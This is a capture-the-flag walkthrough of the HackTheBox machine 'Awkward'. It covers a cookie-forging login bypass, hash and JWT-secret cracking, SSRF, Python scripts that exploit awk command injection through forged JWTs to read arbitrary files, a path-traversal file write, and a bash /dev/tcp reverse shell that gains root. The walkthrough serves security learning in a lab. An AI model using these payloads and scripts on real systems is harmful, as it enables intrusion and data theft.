Home (HTB) - Awkward
Post
Cancel
image alternative text

(HTB) - Awkward

Enumeration

NMAP

1
2
3
4
5
6
Nmap scan report for 10.129.45.168
Host is up (0.045s latency).
Not shown: 65514 closed tcp ports (conn-refused)
PORT      STATE    SERVICE  VERSION
22/tcp    open     ssh      OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http     nginx 1.18.0 (Ubuntu)

There is nothing much to say here, we have just 2 ports open, so let’s check the webserver on port 80.

Webserver

When browsing to webserver using browser, we’d get redirected to http://hat-valley.htb so let’s add that to /etc/hosts. After checking the website, keep proxy open at all times.

picture 2

After going to hat-valley.htb

Whatweb

picture 3

Checking the Whatweb input, we have nginx/1.18.0, Site is running Express.js, JQuery’s version is 3.0.0

Burp - Site Map

When taking a look at Site map, i’ve noticed certain cookie ==> token=guest. This is something to make a note of!

picture 6

VHOST - Bruteforce using FFUF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(luka㉿yokai)-[~/htb/boxes/awkward]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://hat-valley.htb -H 'Host: FUZZ.hat-valley.htb' --fs 132

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://hat-valley.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.hat-valley.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 132
________________________________________________

store                   [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 33ms]

Let’s add store.hat-valley.htb to /etc/hosts and check the website.

picture 5

We need some credentials, which we don’t have.

Linkfinder

I’ve noticed when i tried to use repeater or simply check the source code of the site, that the webpage would not load as Javascript isn’t running. There is where i thought of Linkfinder which checks javascripts for links and routes in the Javascript files.

And it found some interesting pages, indeed.

picture 7

So we have hr, api, dashboard,…

Finding hidden dashboard

http://hat-valley.htb/hr presents another login mask.

picture 8

What if we change the token from guest to token=admin?

picture 9

We get in!

We can try to enter a Leave but it appears to be a dead end, and requets are ending with 500 Internal Error.

Finding passwords

Now again in Burp, new site shows up in the api route

picture 10

It ends with 500 Internal Error but after sending it to Repeater and removing the cookie, the contents were shown

picture 11

Decrypting with Hashcat

Throwing the hashlist into hashcat returned 1 password back

1
2
3
4
5
6
7
8
9
hashcat hashes /Users/cm/Projects/SecLists/Passwords/Leaked-Databases/rockyou.txt -m 1400
.......
Dictionary cache hit:
* Filename..: /Users/cm/Projects/SecLists/Passwords/Leaked-Databases/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1:chris123

So we have credentials for christopher.jones:chris123.

Logging in to HR as christopher.jones

picture 12

So christopher’s credentials work for HR and we can see below that token was generated.

Again checking the Burp’s request, this one stands out:

picture 14

Exploiting Server-Side Request Forgery (SSRF)

If we change the URL with our own, we can clearly see that we have SSRF vulnerability here.

picture 13

Let’S try to check the open ports on the localhost

1
wfuzz -c -z range,1-10000 --hh 0 -b "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY2NzI2ODEwfQ.zvrc3itkUEVgwgejeHZpsWGq7fEvz-fPUh5uGuVmI9o" 'http://hat-valley.htb/api/store-status?url="http://localhost:FUZZ/"'

picture 15

This looks promising:

picture 16

Reading the source code on localhost:3002 (api)

I opened the response in browser for better readability!

picture 17

Method that appears interesting and appears to be vulnerable is the /api/all-leave.

picture 27

User in the token seems to be thrown through Bad-character check, however not all signs appear to be on the blacklist.

1
2
3
4
const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]
...
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {
...

Crack that JWT

1
2
3
4
5
6
7
┌──(luka㉿yokai)-[~/htb/boxes/awkward]
└─$ john jwt_enc --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 ASIMD 4x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123beany123

Apparently takes token parameter JWT or HR user, which makes exploitation easier.

I’ve written simple program that helped me with debugging. It’s optional and not really needed, but i’d like to mention that ModeJS / ExpressJS app can get running in 15 Minutes or even less.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const express = require('express')
const cookieParser = require("cookie-parser");
const jwt = require("jsonwebtoken");
const exec = require('child_process').exec;
const app = express()
const port = 3000
app.use(cookieParser());
app.get('/', (req, res) => {
  res.send('Hello World!')
})

app.get('/api/all-leave', (req, res) => {

  const user_token = req.cookies.token
  var authFailed = false
  var user = null
  var TOKEN_SECRET="123beany123"

  if(user_token) {
    const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
    if(!decodedToken.username) {
      authFailed = true
    }
    else {
      user = decodedToken.username
    }
  }

  if(authFailed) {
    return res.status(401).json({Error: "Invalid Token"})
  }

  if(!user) {
    return res.status(500).send("Invalid user")
  }

  const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]
  const badInUser = bad.some(char => user.includes(char));

  if(badInUser) {
    return res.status(500).send("Bad character detected.")
  }
  console.log("User: " + user)
  console.log("awk '/" + user + "/' /test.csv")
  exec("awk '/" + user + "/' /test.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {

    if(stdout) {
      return res.status(200).send(new Buffer(stdout, 'binary'));
    }

    if (error) {
      return res.status(500).send("Failed to retrieve leave requests")
    }
    if (stderr) {
      return res.status(500).send("Failed to retrieve leave requests")
    }
  })
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

And exploit script. (Target needs to be modified accordingly, same as payload)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import sys
import requests
import jwt

def jwt_inject_command(target,payload,secret):

	#encoded_jwt = jwt.encode({secret})
	encoded_jwt = jwt.encode({'username': payload}, secret, algorithm='HS256')
	print("Token:" + encoded_jwt)
	cookies={
		'token':encoded_jwt
	}
	r = requests.get(target,cookies=cookies)
	return r

def main():
	if len(sys.argv)!=1:
		print("Usage: SCRIPT URL PAYLOAD")
		sys.exit(1)
	#target = sys.argv[1]
	#payload = sys.argv[2]
	#target = 'http://hat-valley.htb/api/all-leave'
	target= 'http://localhost:3000/api/all-leave'

	# Arbitrary read
	payload = "/' /etc/hostname '/"
	secret="123beany123"

	out = jwt_inject_command(target,payload,secret)
	print(out.text)

if __name__ == '__main__':
	main()

picture 18

Before automating anything, i’ll just be trying to leak some useful data, simply by exchanging the path above. E.g., /var/www/hat-valley.htb/server/server.js returns with the source code and SQL Credentials.

picture 19

Automate SSRF+LFI using Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import sys
import requests
import jwt

def jwt_inject_command(target,payload,secret):

	#encoded_jwt = jwt.encode({secret})
	encoded_jwt = jwt.encode({'username': payload}, secret, algorithm='HS256')
	#print("Token:" + encoded_jwt)
	cookies={
		'token':encoded_jwt
	}
	r = requests.get(target,cookies=cookies)
	return r

def main():
	if len(sys.argv)!=1:
		print("Usage: SCRIPT URL PAYLOAD")
		sys.exit(1)
	#target = sys.argv[1]
	#payload = sys.argv[2]
	target = 'http://hat-valley.htb/api/all-leave'
	secret="123beany123"
	#target= 'http://localhost:3000/api/all-leave'
	
	for i in range(100,1000):
		# Arbitrary read
		payload = "/' /proc/{}/cmdline '/".format(i)
		out = jwt_inject_command(target,payload,secret)
		if "Failed" not in (out.text):
			print("Process found => {}:".format(str(i)) + out.text )

if __name__ == '__main__':
	main()

.bashrc in the /home/bean, gives us a clue what we should be searching for.

picture 20

Finding backup script

Checking the /home/bean/Documents/backup_home.sh it appears that home is being backed up and saved into .tar.gz.

1
2
3
4
5
6
7
8
#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp

Getting shell as Bean

This is the script i’ve used to download the tar.gz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import sys
import requests
import jwt

def jwt_inject_command(target,payload,secret):

	#encoded_jwt = jwt.encode({secret})
	encoded_jwt = jwt.encode({'username': payload}, secret, algorithm='HS256')
	#print("Token:" + encoded_jwt)
	cookies={
		'token':encoded_jwt
	}
	proxies={
		'http': 'http://127.0.0.1:8080'
	}
	r = requests.get(target,cookies=cookies,proxies=proxies,stream=True)
	return r

def main():
	if len(sys.argv)!=1:
		print("Usage: SCRIPT URL PAYLOAD")
		sys.exit(1)

	target = 'http://hat-valley.htb/api/all-leave'
	secret="123beany123"
	payload = "/' /home/bean/Documents/backup/bean_backup_final.tar.gz '/"
	out = jwt_inject_command(target,payload,secret)

	target_path = 'bkp.tar.gz'
	
	if out.status_code == 200:
		with open(target_path, 'wb') as f:
			f.write(out.raw.read())

if __name__ == '__main__':
	main()

We need to unpack the tar.gz two times, so output should be in the end as seen below.

picture 21

Search for bean using grep

picture 22

There we have a file ./.config/xpad/content-DS1ZS1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(luka㉿yokai)-[~/htb/boxes/awkward/bkp]
└─$ cat ./.config/xpad/content-DS1ZS1
TO DO:
- Get real hat prices / stock from Christine
- Implement more secure hashing mechanism for HR system
- Setup better confirmation message when adding item to cart
- Add support for item quantity > 1
- Implement checkout system

boldHR SYSTEM/bold
bean.hill
014mrbeanrules!#P

https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html

boldMAKE SURE TO USE THIS EVERYWHERE ^^^/bold

Credentials above work for SSH!

Privilege Escalation from bean to root

Privilege Escalation is not straightforward at all. We have 2 Users on the box, one is bean and other one is christine. I wasn’t really able to find much files/directories owned by christine and no processes.

PSPY

This looked interesting when running pspy64s:

picture 23

It runs as root and it triggers when /var/www/private/leave_requests.csv changes, which we can control through HR panel!

Store.hat-valley.htb

We can login onto store.hat-valley.htb using admin:014mrbeanrules!#P, which is same password that bean has for SSH access on the Awkward box.

We can write to two directories: picture 28

PHP files will not execute:

picture 30

If we check the script on the backend - e.g., the cart_actions.php we would notice that user input goes through system call 3 times.

1
2
3
4
bean@awkward:/var/www/store$ grep -rnw . -e "system("
./cart_actions.php:38:            system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
./cart_actions.php:40:        system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
./cart_actions.php:69:        system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");

The one that we can exploit and make something out of it is the head -2 .... | tail -1 invocation, by rewriting single line of our chosing. This is possible because we control item_id AND the user_id.

picture 24

The way we control those values is a little bit strange, but application reads those from files into which we can write, to cart and product-details as seen few screenshots above.

picture 31

Blacklist does not stop us from path traversing and adding slashes, dots, dashes. For example like this:

picture 26

We can notice that we’ve successfully written into a file. (mind the head and tail, we just append and not rewrite everything).

Observing the pspy64s output, this is the command that fires in the background.

1
sh -c head -2 /var/www/store/product-details/4.txt | tail -1 >> /var/www/store/cart/../../../../../var/www/private/leave_requests.csv

We need SSRF again to check the /var/www/private/leave_results.csv

picture 25

Script use that will be invoked after inotifywait fires on modification.

1
2
3
bean@awkward:/tmp$ cat rev.sh 
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1

Root shell has opened picture 29

This post is licensed under CC BY 4.0 by the author.